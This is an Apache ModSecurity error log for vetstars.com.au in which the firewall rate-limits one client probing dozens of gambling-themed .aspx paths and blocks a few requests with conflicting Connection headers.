[Wed Apr 08 13:46:55.750167 2026] [:error] [pid 12453:tid 12455] [client 94.154.239.69:33574] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "adXrzxjtW7S6XsLPvrQhSAAAAIA"]
[Wed Apr 08 13:46:58.454453 2026] [:error] [pid 12453:tid 12474] [client 94.154.239.69:33606] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "adXr0hjtW7S6XsLPvrQhUAAAAJM"]
[Wed Apr 08 13:47:01.224785 2026] [:error] [pid 12386:tid 12435] [client 94.154.239.69:33628] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "adXr1RLhhLtqHi2gK7VWIwAAARM"]
[Wed Apr 08 13:47:04.147381 2026] [:error] [pid 12385:tid 12409] [client 94.154.239.69:53652] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "adXr2CAjtvRQEkLosq0A6AAAABQ"]
[Wed Apr 08 13:47:06.891302 2026] [:error] [pid 12490:tid 12515] [client 94.154.239.69:53668] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "adXr2m1Fea4F4fbumr10FQAAANc"]
[Wed Apr 08 13:47:09.567487 2026] [:error] [pid 12385:tid 12402] [client 94.154.239.69:53676] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "adXr3SAjtvRQEkLosq0A_gAAAA0"]
[Wed Apr 08 13:47:12.148105 2026] [:error] [pid 12453:tid 12463] [client 94.154.239.69:53698] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "adXr4BjtW7S6XsLPvrQhqAAAAIg"]
[Wed Apr 08 13:47:14.732356 2026] [:error] [pid 12453:tid 12464] [client 94.154.239.69:38756] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "adXr4hjtW7S6XsLPvrQhugAAAIk"]
[Wed Apr 08 13:47:17.516024 2026] [:error] [pid 12386:tid 12417] [client 94.154.239.69:38784] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "adXr5RLhhLtqHi2gK7VWZAAAAQE"]
[Wed Apr 08 13:47:20.167530 2026] [:error] [pid 12490:tid 12513] [client 94.154.239.69:38812] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "adXr6G1Fea4F4fbumr10aAAAANU"]
[Wed Apr 08 13:47:50.713557 2026] [:error] [pid 12453:tid 12467] [client 94.154.239.69:35304] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "adXsBhjtW7S6XsLPvrQihQAAAIw"]
[Wed Apr 08 13:47:53.331486 2026] [:error] [pid 12490:tid 12493] [client 94.154.239.69:53066] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "adXsCW1Fea4F4fbumr11mAAAAME"]
[Wed Apr 08 13:47:56.130745 2026] [:error] [pid 35642:tid 35645] [client 94.154.239.69:53086] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "adXsDA-CqryxdEs5DN87FwAAAEE"]
[Wed Apr 08 13:47:58.813207 2026] [:error] [pid 12453:tid 12463] [client 94.154.239.69:53102] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/royal%20slot.aspx"] [unique_id "adXsDhjtW7S6XsLPvrQiqwAAAIg"]
[Wed Apr 08 13:48:01.480096 2026] [:error] [pid 12490:tid 12498] [client 94.154.239.69:53106] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sa%20casino.aspx"] [unique_id "adXsEW1Fea4F4fbumr111QAAAMY"]
[Wed Apr 08 13:48:04.032615 2026] [:error] [pid 35642:tid 35653] [client 94.154.239.69:59218] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "adXsFA-CqryxdEs5DN87MAAAAEk"]
[Wed Apr 08 13:48:06.796804 2026] [:error] [pid 12386:tid 12425] [client 94.154.239.69:59224] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "adXsFhLhhLtqHi2gK7VXBgAAAQk"]
[Wed Apr 08 13:48:09.463871 2026] [:error] [pid 35642:tid 35663] [client 94.154.239.69:59246] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20777.aspx"] [unique_id "adXsGQ-CqryxdEs5DN87RQAAAFM"]
[Wed Apr 08 13:48:12.300134 2026] [:error] [pid 12490:tid 12496] [client 94.154.239.69:59262] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20888.aspx"] [unique_id "adXsHG1Fea4F4fbumr12GgAAAMQ"]
[Wed Apr 08 13:48:14.902339 2026] [:error] [pid 35642:tid 35645] [client 94.154.239.69:40410] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "adXsHg-CqryxdEs5DN87egAAAEE"]
[Wed Apr 08 13:48:17.498723 2026] [:error] [pid 12490:tid 12504] [client 94.154.239.69:40420] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "adXsIW1Fea4F4fbumr12MQAAAMw"]
[Wed Apr 08 13:48:20.095787 2026] [:error] [pid 12386:tid 12419] [client 94.154.239.69:40428] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "adXsJBLhhLtqHi2gK7VXLAAAAQM"]
[Wed Apr 08 13:48:22.772529 2026] [:error] [pid 35642:tid 35665] [client 94.154.239.69:41536] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "adXsJg-CqryxdEs5DN87rgAAAFU"]
[Wed Apr 08 13:48:25.566861 2026] [:error] [pid 35642:tid 35663] [client 94.154.239.69:41548] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "adXsKQ-CqryxdEs5DN87vgAAAFM"]
[Wed Apr 08 13:48:28.141451 2026] [:error] [pid 12490:tid 12503] [client 94.154.239.69:41566] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "adXsLG1Fea4F4fbumr12ewAAAMs"]
[Wed Apr 08 13:48:30.931465 2026] [:error] [pid 12453:tid 12461] [client 94.154.239.69:41580] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "adXsLhjtW7S6XsLPvrQjQAAAAIY"]
[Wed Apr 08 13:48:33.640042 2026] [:error] [pid 12386:tid 12427] [client 94.154.239.69:39916] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "adXsMRLhhLtqHi2gK7VXWwAAAQs"]
[Wed Apr 08 13:48:36.422842 2026] [:error] [pid 12490:tid 12496] [client 94.154.239.69:39930] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "adXsNG1Fea4F4fbumr12sAAAAMQ"]
[Wed Apr 08 13:48:39.063194 2026] [:error] [pid 12385:tid 12407] [client 94.154.239.69:39938] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "adXsNyAjtvRQEkLosq0CUgAAABI"]
[Wed Apr 08 13:48:41.699618 2026] [:error] [pid 35642:tid 35649] [client 94.154.239.69:39956] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "adXsOQ-CqryxdEs5DN88DwAAAEU"]
[Wed Apr 08 13:48:44.396721 2026] [:error] [pid 12386:tid 12432] [client 94.154.239.69:34048] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "adXsPBLhhLtqHi2gK7VXogAAARA"]
[Wed Apr 08 13:49:20.094016 2026] [:error] [pid 12386:tid 12417] [client 94.154.239.69:34062] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "adXsYBLhhLtqHi2gK7VYGwAAAQE"]
[Wed Apr 08 13:49:22.720002 2026] [:error] [pid 12453:tid 12477] [client 94.154.239.69:41934] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "adXsYhjtW7S6XsLPvrQkTAAAAJY"]
[Wed Apr 08 13:49:25.349903 2026] [:error] [pid 12490:tid 12504] [client 94.154.239.69:41954] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "adXsZW1Fea4F4fbumr14GwAAAMw"]
[Wed Apr 08 13:49:28.039482 2026] [:error] [pid 12453:tid 12476] [client 94.154.239.69:41962] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "adXsaBjtW7S6XsLPvrQkYgAAAJU"]
[Wed Apr 08 13:49:30.751143 2026] [:error] [pid 12453:tid 12479] [client 94.154.239.69:41986] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "adXsahjtW7S6XsLPvrQkfAAAAJg"]
[Wed Apr 08 13:49:33.358872 2026] [:error] [pid 12490:tid 12501] [client 94.154.239.69:37142] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20168.aspx"] [unique_id "adXsbW1Fea4F4fbumr14OQAAAMk"]
[Wed Apr 08 13:49:36.005911 2026] [:error] [pid 12453:tid 12469] [client 94.154.239.69:37162] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "adXscBjtW7S6XsLPvrQkoQAAAI4"]
[Wed Apr 08 13:49:38.793931 2026] [:error] [pid 12453:tid 12469] [client 94.154.239.69:37174] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "adXschjtW7S6XsLPvrQkswAAAI4"]
[Wed Apr 08 13:49:41.418596 2026] [:error] [pid 35642:tid 35648] [client 94.154.239.69:37184] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "adXsdQ-CqryxdEs5DN89zQAAAEQ"]
[Wed Apr 08 13:49:44.077261 2026] [:error] [pid 12453:tid 12466] [client 94.154.239.69:35526] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "adXseBjtW7S6XsLPvrQkyAAAAIs"]
[Wed Apr 08 13:49:46.904543 2026] [:error] [pid 35642:tid 35664] [client 94.154.239.69:35536] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "adXseg-CqryxdEs5DN899AAAAFQ"]
[Wed Apr 08 13:49:49.576904 2026] [:error] [pid 12490:tid 12494] [client 94.154.239.69:35556] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "adXsfW1Fea4F4fbumr14wAAAAMI"]
[Wed Apr 08 13:49:52.311622 2026] [:error] [pid 12386:tid 12424] [client 94.154.239.69:35576] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "adXsgBLhhLtqHi2gK7VYjgAAAQg"]
[Wed Apr 08 13:49:54.955875 2026] [:error] [pid 35642:tid 35654] [client 94.154.239.69:52060] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "adXsgg-CqryxdEs5DN8-IQAAAEo"]
[Wed Apr 08 13:49:57.676618 2026] [:error] [pid 12453:tid 12473] [client 94.154.239.69:52082] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "adXshRjtW7S6XsLPvrQlDQAAAJI"]
[Wed Apr 08 13:50:00.306631 2026] [:error] [pid 35642:tid 35652] [client 94.154.239.69:52104] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "adXsiA-CqryxdEs5DN8-RAAAAEg"]
[Wed Apr 08 13:50:02.897208 2026] [:error] [pid 12386:tid 12429] [client 94.154.239.69:34046] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "adXsihLhhLtqHi2gK7VYwAAAAQ0"]
[Wed Apr 08 13:50:05.496718 2026] [:error] [pid 12453:tid 12459] [client 94.154.239.69:34062] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "adXsjRjtW7S6XsLPvrQlTgAAAIQ"]
[Wed Apr 08 13:50:08.234752 2026] [:error] [pid 12490:tid 12515] [client 94.154.239.69:34068] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "adXskG1Fea4F4fbumr15KwAAANc"]
[Wed Apr 08 13:50:11.044293 2026] [:error] [pid 12490:tid 12492] [client 94.154.239.69:34080] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "adXsk21Fea4F4fbumr15MAAAAMA"]
[Wed Apr 08 13:50:13.860162 2026] [:error] [pid 12490:tid 12502] [client 94.154.239.69:45896] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w69%20slot.aspx"] [unique_id "adXslW1Fea4F4fbumr15UQAAAMo"]
[Wed Apr 08 15:27:19.045620 2026] [:error] [pid 35642:tid 35661] [client 43.159.140.236:60844] [client 43.159.140.236] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "adYDVw-CqryxdEs5DN-lYAAAAFE"]
[Wed Apr 08 16:45:13.260450 2026] [:error] [pid 12386:tid 12435] [client 182.42.104.32:59173] [client 182.42.104.32] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "adYVmRLhhLtqHi2gK7W_2AAAARM"]
[Wed Apr 08 17:06:00.254101 2026] [ssl:error] [pid 12490:tid 12498] [client 18.246.255.122:40198] AH02032: Hostname www.macfieldsvet.com.au provided via SNI and hostname vetstars.com.au provided via HTTP have no compatible SSL setup
